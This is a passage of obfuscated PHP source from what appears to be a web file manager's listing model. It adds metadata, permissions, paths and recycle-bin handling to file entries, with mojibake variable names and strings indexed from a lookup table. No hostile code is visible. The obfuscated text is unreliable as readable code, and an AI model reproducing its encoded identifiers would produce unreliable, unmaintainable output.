{ return array($ë°’´‚å, $Š¹Ó˜·‹[$ô ô¾<C3B4>Ê]); } return $this->order($ë°’´‚å); } protected function _listDataApplyItem($•Ï™¦Ø¾, $<24>òö®£<C2AE> = false) { $ÍÜÛ¢¶ç = array($•Ï™¦Ø¾); $this->_listDataApply($ÍÜÛ¢¶ç, $<24>òö®£<C2AE>); return $ÍÜÛ¢¶ç[0]; } protected function _listDataApply(&$´Ðí듊, $Ú°¢ú©¯ = false) { $йÙËÂÏ =& $_SERVER[ˆ¡¹µ‹Â]; if (!$´Ðí듊) { $´Ðí듊 = array(); return; } $ìšÄ•Ô¤ = array_to_keyvalue($´Ðí듊, $йÙËÂÏ[12], $йÙËÂÏ[193]); $ìšÄ•Ô¤ = array_unique($ìšÄ•Ô¤); $this->_listSourceCache($´Ðí듊); if (!$Ú°¢ú©¯) { $this->_listAppendMeta($´Ðí듊, $ìšÄ•Ô¤); $this->_listAppendFileMeta($´Ðí듊, $ìšÄ•Ô¤); $this->_listAppendChildren($´Ðí듊, $ìšÄ•Ô¤); } $this->_listAppendPath($´Ðí듊); $this->_listAppendAuth($´Ðí듊); $this->_listAppendSourceInfo($´Ðí듊, $ìšÄ•Ô¤); $this->_listAppendUser($´Ðí듊); $this->_listFilterInfo($´Ðí듊, $Ú°¢ú©¯); $this->_listAppendAuthSecret($´Ðí듊); } protected function _listSourceCache($ò«ïÍ»<C38D>) { $¬Åþ¼<C3BE>Ë =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($ò«ïÍ»<C38D> as $Ñט<C397>èá) { self::$cacheSourceInfo[$¬Åþ¼<C3BE>Ë[533] . $Ñט<C397>èá[$¬Åþ¼<C3BE>Ë[193]]] = $Ñט<C397>èá; } } protected function _listFilterInfo(&$ëãüöî¨, $ù¸úùë° = false) { $’늞†‰ =& $_SERVER[ˆ¡¹µ‹Â]; foreach ($ëãüöî¨ as &$…«¿”ùù) { $…«¿”ùù = $this->pathInfoFilter($…«¿”ùù); self::$cachePathInfo[$’늞†‰[534] . intval($ù¸úùë°) . $’늞†‰[462] . $…«¿”ùù[$’늞†‰[193]]] = $…«¿”ùù; } unset($…«¿”ùù); } protected function _listMake(&$­‹úˆÂî) { $¾™ÓŒê =& $_SERVER[ˆ¡¹µ‹Â]; $­‹úˆÂî[$¾™ÓŒêÂ[85]] = array(); $­‹úˆÂî[$¾™ÓŒêÂ[86]] = array(); foreach ($­‹úˆÂî[$¾™ÓŒêÂ[445]] as $ï<>Ô¨Ä) { $Ö‹–Šˆì = $ï<>Ô¨Ä[$¾™ÓŒêÂ[485]] == 1 ? $¾™ÓŒêÂ[85] : $¾™ÓŒêÂ[86]; $­‹úˆÂî[$Ö‹–Šˆì][] = $ï<>Ô¨Ä; } unset($­‹úˆÂî[$¾™ÓŒêÂ[445]]); } protected function _listAppendMeta(&$ú‡Ê©<E280B9>, $èç¦ä¤Ð) { $ƒ®°ö³Ñ =& $_SERVER[ˆ¡¹µ‹Â]; $†ÀýÞ¥õ = array($ƒ®°ö³Ñ[491] => array($ƒ®°ö³Ñ[492], $èç¦ä¤Ð)); $¶æ ‡¶Ç = Model($ƒ®°ö³Ñ[535])->field($ƒ®°ö³Ñ[536])->where($†ÀýÞ¥õ)->select(); if (!$¶æ ‡¶Ç) { return; } $÷ÞÁµíõ = array($ƒ®°ö³Ñ[537], $ƒ®°ö³Ñ[538], $ƒ®°ö³Ñ[517]); $Äîßâ·Þ = array(); foreach ($¶æ ‡¶Ç as $ð¼ÛµåÓ) { if (!isset($Äîßâ·Þ[$ð¼ÛµåÓ[$ƒ®°ö³Ñ[193]]])) { $Äîßâ·Þ[$ð¼ÛµåÓ[$ƒ®°ö³Ñ[193]]] = array(); } if (in_array($ð¼ÛµåÓ[$ƒ®°ö³Ñ[97]], $÷ÞÁµíõ)) { continue; } $Äîßâ·Þ[$ð¼ÛµåÓ[$ƒ®°ö³Ñ[193]]][$ð¼ÛµåÓ[$ƒ®°ö³Ñ[97]]] = $ð¼ÛµåÓ[$ƒ®°ö³Ñ[450]]; } foreach ($ú‡Ê©<E280B9> as &$íÖÖ’ÑÚ) { $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[539]] = !1; if (isset($Äîßâ·Þ[$íÖÖ’ÑÚ[$ƒ®°ö³Ñ[193]]])) { $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[539]] = $Äîßâ·Þ[$íÖÖ’ÑÚ[$ƒ®°ö³Ñ[193]]]; } if ($this->fileIsLock($íÖÖ’ÑÚ) && $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[487]]) { $°²§Ó„› = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[487]][$ƒ®°ö³Ñ[488]] = AuthModel::authDisable($íÖÖ’ÑÚ[$ƒ®°ö³Ñ[487]][$ƒ®°ö³Ñ[488]], $°²§Ó„›); $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[487]][$ƒ®°ö³Ñ[540]][$ƒ®°ö³Ñ[487]] = $íÖÖ’ÑÚ[$ƒ®°ö³Ñ[487]][$ƒ®°ö³Ñ[488]]; } } unset($íÖÖ’ÑÚ); } protected function _listAppendFileMeta(&$àíŨ¬ò, $<24>„¦<E2809E>é­) { $<24>ûÝäý =& $_SERVER[ˆ¡¹µ‹Â]; $¶èªµ·ç = array_to_keyvalue($àíŨ¬ò, $<24>ûÝäý[12], $<24>ûÝäý[541]); $¶èªµ·ç = array_filter(array_unique($¶èªµ·ç)); if (!$¶èªµ·ç) { return; } $ìú<C3AC>ÖDz = array($<24>ûÝäý[542] => array($<24>ûÝäý[492], $¶èªµ·ç)); $™‹¿ÚÄ£ = $<24>ûÝäý[543]; $æ<>Ф݆ = Model($<24>ûÝäý[544])->field($™‹¿ÚÄ£)->where($ìú<C3AC>ÖDz)->select(); $æ<>Ф݆ = array_to_keyvalue($æ<>Ф݆, $<24>ûÝäý[541]); $Ùö¯ÐÈý = Model($<24>ûÝäý[545])->field($<24>ûÝäý[546])->where($ìú<C3AC>ÖDz)->select(); $Ùö¯ÐÈý = $Ùö¯ÐÈý ? $Ùö¯ÐÈý : array(); $΃Šå¦Ù = array(); foreach ($Ùö¯ÐÈý as $»¯—š„Ì) { if (!isset($΃Šå¦Ù[$»¯—š„Ì[$<24>ûÝäý[541]]])) { $΃Šå¦Ù[$»¯—š„Ì[$<24>ûÝäý[541]]] = array(); } $΃Šå¦Ù[$»¯—š„Ì[$<24>ûÝäý[541]]][$»¯—š„Ì[$<24>ûÝäý[97]]] = $»¯—š„Ì[$<24>ûÝäý[450]]; } foreach ($àíŨ¬ò as &$¡ÍµŽü¶) { $ÍÁ<C38D>íƒ = $¡ÍµŽü¶[$<24>ûÝäý[541]]; if (!$ÍÁ<C38D>íƒ || !is_array($æ<>Ф݆[$ÍÁ<C38D>íƒ])) { continue; } $©Óúþ» = $æ<>Ф݆[$ÍÁ<C38D>íƒ]; $©Óúþ»[$<24>ûÝäý[79]] = $¡ÍµŽü¶[$<24>ûÝäý[79]]; $©Óúþ»[$<24>ûÝäý[32]] = $¡ÍµŽü¶[$<24>ûÝäý[32]]; if (!$©Óúþ»[$<24>ûÝäý[547]]) { Model($<24>ûÝäý[544])->fileMd5Check($©Óúþ»); } if (!isset(self::$cacheFileInfo[$<24>ûÝäý[548] . $ÍÁ<C38D>íƒ])) { self::$cacheFileInfo[$<24>ûÝäý[548] . $ÍÁ<C38D>íƒ] = array_merge(array(), $©Óúþ»); } unset($æ<>Ф݆[$ÍÁ<C38D>íƒ][$<24>ûÝäý[87]]); $ÁëðÇ…Õ = isset($΃Šå¦Ù[$ÍÁ<C38D>íƒ]) && is_array($΃Šå¦Ù[$ÍÁ<C38D>íƒ]) ? $΃Šå¦Ù[$ÍÁ<C38D>íƒ] : array(); $¡ÍµŽü¶[$<24>ûÝäý[170]] = array_merge($ÁëðÇ…Õ, $æ<>Ф݆[$ÍÁ<C38D>íƒ]); if (isset($¡ÍµŽü¶[$<24>ûÝäý[170]][$<24>ûÝäý[184]])) { $¡ÍµŽü¶[$<24>ûÝäý[184]] = json_decode($¡ÍµŽü¶[$<24>ûÝäý[170]][$<24>ûÝäý[184]], !0); unset($¡ÍµŽü¶[$<24>ûÝäý[170]][$<24>ûÝäý[184]]); } } unset($¡ÍµŽü¶); } protected function _listAppendSourceInfo(&$§¡ÌÛÄö, $¸øìÇß‘) { $ëèÓéÞª =& $_SERVER[ˆ¡¹µ‹Â]; $äúïÏÓ<C38F> = Model($ëèÓéÞª[549])->listData(); $°ñš¶‚Ø = Model($ëèÓéÞª[499])->listData(); $ü¥ÖÙÅì = Model($ëèÓéÞª[489])->listData(); $³ì±£•œ = Model($ëèÓéÞª[550])->listSimple(); $‡øœÎÄ© = array_to_keyvalue($äúïÏÓ<C38F>, $ëèÓéÞª[475]); $<24>†Ô½ã = array_to_keyvalue_group($°ñš¶‚Ø, $ëèÓéÞª[87], $ëèÓéÞª[500]); $‰¢Âà‰ï = array_to_keyvalue($ü¥ÖÙÅì, $ëèÓéÞª[87]); $”šýÔœÜ = array_to_keyvalue_group($³ì±£•œ, $ëèÓéÞª[193]); foreach ($§¡ÌÛÄö as &$ø°÷å‚à) { $ø°÷å‚à[$ëèÓéÞª[90]] = array($ëèÓéÞª[551] => 0, $ëèÓéÞª[552] => 0, $ëèÓéÞª[553] => 0); if (isset($‰¢Âà‰ï[$ø°÷å‚à[$ëèÓéÞª[193]]])) { $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[554]] = 1; $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[555]] = $‰¢Âà‰ï[$ø°÷å‚à[$ëèÓéÞª[193]]][$ëèÓéÞª[32]]; } if ($<24>†Ô½ã && $‡øœÎÄ© && isset($<24>†Ô½ã[$ø°÷å‚à[$ëèÓéÞª[193]]])) { $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[556]] = array(); foreach ($<24>†Ô½ã[$ø°÷å‚à[$ëèÓéÞª[193]]] as $Èœ¶ùüÃ) { $Ï…è²<C3A8>Å = $‡øœÎÄ©[$Èœ¶ùüÃ]; $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[556]][] = array($ëèÓéÞª[557] => $Ï…è²<C3A8>Å[$ëèÓéÞª[475]], $ëèÓéÞª[494] => $Ï…è²<C3A8>Å[$ëèÓéÞª[32]], $ëèÓéÞª[558] => $Ï…è²<C3A8>Å[$ëèÓéÞª[559]]); } } if ($”šýÔœÜ && isset($”šýÔœÜ[$ø°÷å‚à[$ëèÓéÞª[193]]])) { $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[560]] = array(); foreach ($”šýÔœÜ[$ø°÷å‚à[$ëèÓéÞª[193]]] as $ò´Ç¶¼’) { $¬ºÝ‹ß¤ = $ëèÓéÞª[561]; if ($ò´Ç¶¼’[$ëèÓéÞª[562]] == $ëèÓéÞª[91]) { $¬ºÝ‹ß¤ .= $ëèÓéÞª[563]; } $ø°÷å‚à[$ëèÓéÞª[90]][$ëèÓéÞª[560]] = array_field_key($ò´Ç¶¼’, explode($ëèÓéÞª[50], $¬ºÝ‹ß¤)); } } } unset($ø°÷å‚à); return $§¡ÌÛÄö; } protected function _listAppendChildren(&$±ÉÕðôå, $ï—í¥Ðü) { $Áäû”³ß =& $_SERVER[ˆ¡¹µ‹Â]; $ÇÑìý®˜ = array(); $ìÀë–ÖÞ = array($Áäû”³ß[239] => 0, $Áäû”³ß[240] => 0); foreach ($±ÉÕðôå as &$<24>ÓõÜÄ”) { if (!$<24>ÓõÜÄ”[$Áäû”³ß[485]]) { continue; } $ÇÑìý®˜[] = $<24>ÓõÜÄ”[$Áäû”³ß[193]]; } unset($<24>ÓõÜÄ”); if (!$ÇÑìý®˜) { return; } $©Ž¥Ëº® = array($Áäû”³ß[192] => array($Áäû”³ß[7], $ÇÑìý®˜), $Áäû”³ß[505] => 0); $ãí<C3A3>Ù¡ = array($Áäû”³ß[192], $Áäû”³ß[485], $Áäû”³ß[564] => $Áäû”³ß[565]); $Ó„ÎÀ³÷ = $this->field($ãí<C3A3>Ù¡)->where($©Ž¥Ëº®)->group($Áäû”³ß[566])->select(); $<24>íÇ  õ = array(); foreach ($Ó„ÎÀ³÷ as $Öáš›øá) { $õ˜øÈ–¹ = $Öáš›øá[$Áäû”³ß[192]]; $ùèË<C3A8>ý¨ = $Öáš›øá[$Áäû”³ß[485]] == $Áäû”³ß[91] ? $Áäû”³ß[240] : $Áäû”³ß[239]; if (!isset($<24>íÇ  õ[$õ˜øÈ–¹])) { $<24>íÇ  õ[$õ˜øÈ–¹] = array($Áäû”³ß[239] => 0, $Áäû”³ß[240] => 0); } $<24>íÇ  õ[$õ˜øÈ–¹][$ùèË<C3A8>ý¨] += $Öáš›øá[$Áäû”³ß[565]]; } foreach ($±ÉÕðôå as &$<24>ÓõÜÄ”) { if (!$<24>ÓõÜÄ”[$Áäû”³ß[485]]) { continue; } $ó·îëüŒ = is_array($<24>íÇ  õ[$<24>ÓõÜÄ”[$Áäû”³ß[193]]]) ? $<24>íÇ  õ[$<24>ÓõÜÄ”[$Áäû”³ß[193]]] : $ìÀë–ÖÞ; $<24>ÓõÜÄ”[$Áäû”³ß[240]] = $ó·îëüŒ[$Áäû”³ß[240]]; $<24>ÓõÜÄ”[$Áäû”³ß[239]] = $ó·îëüŒ[$Áäû”³ß[239]]; unset($<24>ÓõÜÄ”[$Áäû”³ß[486]]); } unset($<24>ÓõÜÄ”); } protected function _listAppendAuth(&$Ò‚Ûé¶â) { $ ðóŸñœ =& $_SERVER[ˆ¡¹µ‹Â]; $¦—èî‹Ì = array(); foreach ($Ò‚Ûé¶â as $¦¡ÒȈð) { if ($¦¡ÒȈð[$ ðóŸñœ[190]] == self::TYPE_GROUP) { $¦—èî‹Ì[] = $¦¡ÒȈð[$ ðóŸñœ[193]]; } } if (!$¦—èî‹Ì) { return; } $þúß¥èµ = array_to_keyvalue($Ò‚Ûé¶â, $ ðóŸñœ[193]); $ˆŒž§ã­ = Model($ ðóŸñœ[567])->getSourceList($¦—èî‹Ì, $þúߥèµ); $éåˆÕÆð = KodUser::isRoot(); foreach ($Ò‚Ûé¶â as $þ£È§¯¶ => &$¦¡ÒȈð) { $¦¡ÒȈð[$ ðóŸñœ[487]] = $ˆŒž§ã­[$¦¡ÒȈð[$ ðóŸñœ[193]]]; if (!$¦¡ÒȈð[$ ðóŸñœ[487]] && $¦¡ÒȈð[$ ðóŸñœ[190]] == self::TYPE_GROUP) { $¦¡ÒȈð[$ ðóŸñœ[487]] = Action($ ðóŸñœ[568])->pathGroupAuthMake($¦¡ÒȈð[$ ðóŸñœ[569]]); if (!$¦¡ÒȈð[$ ðóŸñœ[487]] && !$éåˆÕÆð) { $¦¡ÒȈð[$ ðóŸñœ[233]] = !1; $¦¡ÒȈð[$ ðóŸñœ[232]] = !1; } } if ($¦¡ÒȈð[$ ðóŸñœ[487]]) { $¦¡ÒȈð[$ ðóŸñœ[233]] = AuthModel::authCheckEdit($¦¡ÒȈð[$ ðóŸñœ[487]][$ ðóŸñœ[488]]); $¦¡ÒȈð[$ ðóŸñœ[232]] = AuthModel::authCheckView($¦¡ÒȈð[$ ðóŸñœ[487]][$ ðóŸñœ[488]]); } $this->groupPathDisplay($¦¡ÒȈð); } unset($¦¡ÒȈð); } public function _listAppendAuthSecret(&$†ü·™ÝÎ) { $˜©´Ûú‹ =& $_SERVER[ˆ¡¹µ‹Â]; if (Model($˜©´Ûú‹[508])->get($˜©´Ûú‹[570]) != $˜©´Ûú‹[91]) { return; } static $¯¥ùÆÔ· = false; if (!$¯¥ùÆÔ·) { $á´Å<C2B4>¬Ñ = Model($˜©´Ûú‹[571]); $²“×嬆 = Model($˜©´Ûú‹[572]); $¯¥ùÆÔ· = $²“×嬆->listData(); $¯¥ùÆÔ· = array_to_keyvalue($¯¥ùÆÔ·, $˜©´Ûú‹[193]); $úëἎî = json_decode(Model($˜©´Ûú‹[508])->get($˜©´Ûú‹[573]), !0); $úëἎî = array_to_keyvalue($úëἎî, $˜©´Ûú‹[475]); foreach ($¯¥ùÆÔ· as $‰ÆÙ¢Í<C2A2> => $Ýû¥ÃžÅ) { $öÞ´âéå = $úëἎî[$Ýû¥ÃžÅ[$˜©´Ûú‹[574]]]; if (!$öÞ´âéå) { $²“×嬆->remove($Ýû¥ÃžÅ[$˜©´Ûú‹[475]]); unset($¯¥ùÆÔ·[$‰ÆÙ¢Í<C2A2>]); continue; } $äÖ³Áµê = $á´Å<C2B4>¬Ñ->listData($öÞ´âéå[$˜©´Ûú‹[487]]); if (!$äÖ³Áµê) { $²“×嬆->remove($Ýû¥ÃžÅ[$˜©´Ûú‹[475]]); unset($¯¥ùÆÔ·[$‰ÆÙ¢Í<C2A2>]); continue; } $Ýû¥ÃžÅ[$˜©´Ûú‹[487]] = $äÖ³Áµê; $Ýû¥ÃžÅ[$˜©´Ûú‹[575]] = $öÞ´âéå; $Ýû¥ÃžÅ[$˜©´Ûú‹[576]] = Model($˜©´Ûú‹[577])->getInfoSimpleOuter($Ýû¥ÃžÅ[$˜©´Ûú‹[527]]); $¯¥ùÆÔ·[$‰ÆÙ¢Í<C2A2>] = $Ýû¥ÃžÅ; } } $ƒô‰÷Ì = USER_ID; $§½›ç‹Ù = array(); $¨úõÓሠ= $this->_listAppendPath($§½›ç‹Ù, !0); foreach ($†ü·™ÝÎ as $‰ÆÙ¢Í<C2A2> => &$Ýû¥ÃžÅ) { if (!is_array($Ýû¥ÃžÅ[$˜©´Ûú‹[487]])) { continue; } if ($Ýû¥ÃžÅ[$˜©´Ûú‹[190]] != $˜©´Ûú‹[578]) { continue; } if (isset($¯¥ùÆÔ·[$Ýû¥ÃžÅ[$˜©´Ûú‹[193]]])) { $Ë—˜«Ÿè = $¯¥ùÆÔ·[$Ýû¥ÃžÅ[$˜©´Ûú‹[193]]]; if (!is_array($Ýû¥ÃžÅ[$˜©´Ûú‹[539]])) { $Ýû¥ÃžÅ[$˜©´Ûú‹[539]] = array(); } $Ýû¥ÃžÅ[$˜©´Ûú‹[539]][$˜©´Ûú‹[579]] = $Ë—˜«Ÿè[$˜©´Ûú‹[574]]; $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[580]] = $Ë—˜«Ÿè; $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[581]] = $Ýû¥ÃžÅ[$˜©´Ûú‹[582]]; $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[583]] = $˜©´Ûú‹[91]; if ($Ë—˜«Ÿè[$˜©´Ûú‹[527]] != $ƒô‰÷Ì) { $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[488]] = $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[488]] & $Ë—˜«Ÿè[$˜©´Ûú‹[487]][$˜©´Ûú‹[487]]; } continue; } $çÊî”ד = $this->parentLevelArray($Ýû¥ÃžÅ[$˜©´Ûú‹[584]]); $Û©ûÀÞÒ = array_reverse($çÊî”ד); foreach ($Û©ûÀÞÒ as $ãø‡êÂÒ => $‹½¢Ú‘ï) { if (!isset($¯¥ùÆÔ·[$‹½¢Ú‘ï])) { continue; } $Ë—˜«Ÿè = $¯¥ùÆÔ·[$‹½¢Ú‘ï]; $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[580]] = $Ë—˜«Ÿè; if ($Ë—˜«Ÿè[$˜©´Ûú‹[527]] != $ƒô‰÷Ì) { $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[488]] = $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[488]] & $Ë—˜«Ÿè[$˜©´Ûú‹[487]][$˜©´Ûú‹[487]]; } $íòò<C3B2>ö¸ = $˜©´Ûú‹[12]; $÷ø¥äõ™ = count($çÊî”ד) - $ãø‡êÂÒ; for ($ЀØÌÏ– = 0; $ЀØÌÏ– < $÷ø¥äõ™; $ЀØÌÏ–++) { if (!isset($¨úõÓáˆ[$çÊî”ד[$ЀØÌÏ–]])) { $íòò<C3B2>ö¸ = $˜©´Ûú‹[12]; break; } $íòò<C3B2>ö¸ = $íòò<C3B2>ö¸ . rtrim($¨úõÓáˆ[$çÊî”ד[$ЀØÌÏ–]], $˜©´Ûú‹[8]) . $˜©´Ûú‹[8]; } $Ýû¥ÃžÅ[$˜©´Ûú‹[487]][$˜©´Ûú‹[581]] = rtrim($íòò<C3B2>ö¸, $˜©´Ûú‹[8]) . $˜©´Ûú‹[8]; break; } } unset($Ýû¥ÃžÅ); } public function groupPathDisplay(&$<24>̇—¦) { $…×<E280A6>óÝ£ =& $_SERVER[ˆ¡¹µ‹Â]; if ($<24>̇—¦[$…×<E280A6>óÝ£[190]] != self::TYPE_GROUP) { return; } $µ<E280BA>Ä˜Ê = Model($…×<E280A6>óÝ£[585])->getInfo($<24>̇—¦[$…×<E280A6>óÝ£[569]]); $ÈÞô¤à½ = $this->parentLevelArray($µ<E280BA>ĘÊ[$…×<E280A6>óÝ£[584]]); $‘½«Î¨† = $…×<E280A6>óÝ£[12]; foreach ($ÈÞô¤à½ as $äÄ<C3A4>î) { $Þ¡¹£äÊ = Model($…×<E280A6>óÝ£[585])->getInfo($äÄ<C3A4>î); $‘½«Î¨† .= $Þ¡¹£äÊ[$…×<E280A6>óÝ£[90]][$…×<E280A6>óÝ£[193]] . $…×<E280A6>óÝ£[50]; } $<24>̇—¦[$…×<E280A6>óÝ£[586]] = $µ<E280BA>ĘÊ[$…×<E280A6>óÝ£[192]]; $<24>̇—¦[$…×<E280A6>óÝ£[587]] = $µ<E280BA>ĘÊ[$…×<E280A6>óÝ£[584]]; $<24>̇—¦[$…×<E280A6>óÝ£[588]] = $µ<E280BA>ĘÊ[$…×<E280A6>óÝ£[589]]; $<24>̇—¦[$…×<E280A6>óÝ£[590]] = $‘½«Î¨† . $µ<E280BA>ĘÊ[$…×<E280A6>óÝ£[90]][$…×<E280A6>óÝ£[193]]; } protected function _listAppendPath(&$²“åöù—, $õ˜ÀÃüÈ = false) { $€Ú†Å£‹ =& $_SERVER[ˆ¡¹µ‹Â]; static $<24><>âÈŸ­ = array(); $ÕÖÑªî¦ = array(); $šáçÂþÆ = array(); if ($õ˜ÀÃüÈ) { return $<24><>âÈŸ­; } foreach ($²“åöù— as &$½²Â»‰Õ) { $©†ð˜úž = $½²Â»‰Õ[$€Ú†Å£‹[193]]; if ($½²Â»‰Õ[$€Ú†Å£‹[485]] == $€Ú†Å£‹[91] && $½²Â»‰Õ[$€Ú†Å£‹[192]] != 0) { $<24><>âÈŸ­[$©†ð˜úž] = $½²Â»‰Õ[$€Ú†Å£‹[32]]; } if ($½²Â»‰Õ[$€Ú†Å£‹[485]] == $€Ú†Å£‹[91] && $½²Â»‰Õ[$€Ú†Å£‹[192]] == 0) { $<24><>âÈŸ­[$©†ð˜úž] = $this->_listAppendPathRoot($½²Â»‰Õ, array()); } if (isset($šáçÂþÆ[$½²Â»‰Õ[$€Ú†Å£‹[584]]])) { continue; } $šáçÂþÆ[$½²Â»‰Õ[$€Ú†Å£‹[584]]] = !0; $ߨ—‘Æß = $this->parentLevelArray($½²Â»‰Õ[$€Ú†Å£‹[584]]); foreach ($ߨ—‘Æß as $³¼¡­ò¶ => $ôîèïªÈ) { if (isset($<24><>âÈŸ­[$ôîèïªÈ])) { continue; } if ($³¼¡­ò¶ == 0) { $<24><>âÈŸ­[$ôîèïªÈ] = $this->_listAppendPathRoot($½²Â»‰Õ, $ߨ—‘Æß); } if ($³¼¡­ò¶ != 0) { $ÕÖѪî¦[] = $ôîèïªÈ; } } } unset($½²Â»‰Õ); $ÕÖÑªî¦ = array_unique($ÕÖѪî¦); if (count($ÕÖѪî¦) > 0) { $¥Ñ¨¡èã = array($€Ú†Å£‹[491] => array($€Ú†Å£‹[492], $ÕÖѪî¦)); if (count($ÕÖѪî¦) == 1) { $ø„š«<C5A1>¬ = $this->sourceInfo($ÕÖѪî¦[0]); $ðە = is_array($ø„š«<C5A1>¬) ? array($ø„š«<C5A1>¬) : !1; } else { $ðە = $this->field($€Ú†Å£‹[591])->where($¥Ñ¨¡èã)->select(); } if (!$ðە) { $ðە = array(); } foreach ($ðە as $¸îì¨ÐÁ) { $<24><>âÈŸ­[$¸îì¨ÐÁ[$€Ú†Å£‹[193]]] = $¸îì¨ÐÁ[$€Ú†Å£‹[32]]; } } $<E28098>“ú” = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $«·<C2AB>âÛ… = array(); foreach ($²“åöù— as &$½²Â»‰Õ) { $Џ¸žêŸ = $½²Â»‰Õ[$€Ú†Å£‹[584]]; $û”Æ‚¹þ = $€Ú†Å£‹[12]; if (isset($«·<C2AB>âÛ…[$Џ¸žêŸ])) { $û”Æ‚¹þ = $«·<C2AB>âÛ…[$Џ¸žêŸ]; } else { $ߨ—‘Æß = $this->parentLevelArray($½²Â»‰Õ[$€Ú†Å£‹[584]]); foreach ($ߨ—‘Æß as $³¼¡­ò¶ => $ôîèïªÈ) { if (isset($<24><>âÈŸ­[$ôîèïªÈ])) { $û”Æ‚¹þ .= $<24><>âÈŸ­[$ôîèïªÈ] . $€Ú†Å£‹[8]; } } $«·<C2AB>âÛ…[$Џ¸žêŸ] = $û”Æ‚¹þ; } $û”Æ‚¹þ .= $½²Â»‰Õ[$€Ú†Å£‹[32]]; if ($½²Â»‰Õ[$€Ú†Å£‹[485]] == $€Ú†Å£‹[91]) { $û”Æ‚¹þ .= $€Ú†Å£‹[8]; } $½²Â»‰Õ[$€Ú†Å£‹[582]] = str_replace($€Ú†Å£‹[592], $€Ú†Å£‹[8], $û”Æ‚¹þ); if ($½²Â»‰Õ[$€Ú†Å£‹[192]] == $€Ú†Å£‹[228]) { $½²Â»‰Õ[$€Ú†Å£‹[32]] = trim($<24><>âÈŸ­[$½²Â»‰Õ[$€Ú†Å£‹[193]]], $€Ú†Å£‹[8]); $½²Â»‰Õ[$€Ú†Å£‹[582]] = $½²Â»‰Õ[$€Ú†Å£‹[32]] . $€Ú†Å£‹[8]; } if (intval($½²Â»‰Õ[$€Ú†Å£‹[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($½²Â»‰Õ, $ߨ—‘Æß, $<E28098>“ú”); } } unset($½²Â»‰Õ); return $²“åöù—; } private function _listAppendPathRecycle(&$̯áö̬, $ߊ̆”Ø, $Àû<C380>ò˜Ú) { $…±ÃŦ¤ =& $_SERVER[ˆ¡¹µ‹Â]; if (!in_array($Àû<C380>ò˜Ú, $ߊ̆”Ø) && $̯áö̬[$…±ÃŦ¤[193]] != $Àû<C380>ò˜Ú) { return; } $ž£µ<C2A3>Ç<EFBFBD> = explode($…±ÃŦ¤[8], trim($̯áö̬[$…±ÃŦ¤[582]], $…±ÃŦ¤[8])); $üí‡•ê‚ = implode($…±ÃŦ¤[8], array_slice($ž£µ<C2A3>Ç<EFBFBD>, 2)); $̯áö̬[$…±ÃŦ¤[582]] = $…±ÃŦ¤[8] . LNG($…±ÃŦ¤[593]) . $…±ÃŦ¤[8] . ltrim($ü퇕ê‚, $…±ÃŦ¤[8]); $̯áö̬[$…±ÃŦ¤[584]] = $…±ÃŦ¤[594] . implode($…±ÃŦ¤[50], array_slice($ߊ̆”Ø, 1)) . $…±ÃŦ¤[50]; if ($̯áö̬[$…±ÃŦ¤[193]] == $Àû<C380>ò˜Ú) { $̯áö̬[$…±ÃŦ¤[584]] = $…±ÃŦ¤[594]; $̯áö̬[$…±ÃŦ¤[192]] = $…±ÃŦ¤[228]; $̯áö̬[$…±ÃŦ¤[32]] = LNG($…±ÃŦ¤[593]); } $̯áö̬[$…±ÃŦ¤[595]] = $…±ÃŦ¤[596]; } protected function _listAppendPathRoot(&$“­<E2809C>ßîž, $¬”»<C2BB>„) { $˜Ø­¤Àú =& $_SERVER[ˆ¡¹µ‹Â]; static $“—ˆúª§ = false; $°Åæ¡¥¥ = $˜Ø­¤Àú[12]; if ($“­<E2809C>ßîž[$˜Ø­¤Àú[190]] == self::TYPE_USER) { if ($“­<E2809C>ßîž[$˜Ø­¤Àú[569]] == USER_ID) { $°Åæ¡¥¥ = LNG($˜Ø­¤Àú[597]); if ($“—ˆúª§ === !1) { $ö<>Ѥ…<C2A4> = Model($˜Ø­¤Àú[598])->getInfoFull(USER_ID); $“—ˆúª§ = _get($ö<>Ѥ…<C2A4>, $˜Ø­¤Àú[599], $˜Ø­¤Àú[12]); } if ($¬”»<C2BB>„ && $¬”»<C2BB>„[0] == $“—ˆúª§ || !$¬”»<C2BB>„ && $“­<E2809C>ßîž[$˜Ø­¤Àú[193]] == $“—ˆúª§) { $°Åæ¡¥¥ = LNG($˜Ø­¤Àú[600]); $“­<E2809C>ßîž[$˜Ø­¤Àú[601]] = $˜Ø­¤Àú[602]; } if (!$¬”»<C2BB>„) { $“­<E2809C>ßîž[$˜Ø­¤Àú[32]] = $°Åæ¡¥¥; } } else { $“­<E2809C>ßîž[$˜Ø­¤Àú[603]] = Model($˜Ø­¤Àú[577])->getInfoSimpleOuter($“­<E2809C>ßîž[$˜Ø­¤Àú[569]]); $°Åæ¡¥¥ = LNG($˜Ø­¤Àú[604]) . $˜Ø­¤Àú[176] . $“­<E2809C>ßîž[$˜Ø­¤Àú[603]][$˜Ø­¤Àú[32]] . $˜Ø­¤Àú[178]; } } else { if ($“­<E2809C>ßîž[$˜Ø­¤Àú[190]] == self::TYPE_GROUP) { $ç§ÁŽ„ = 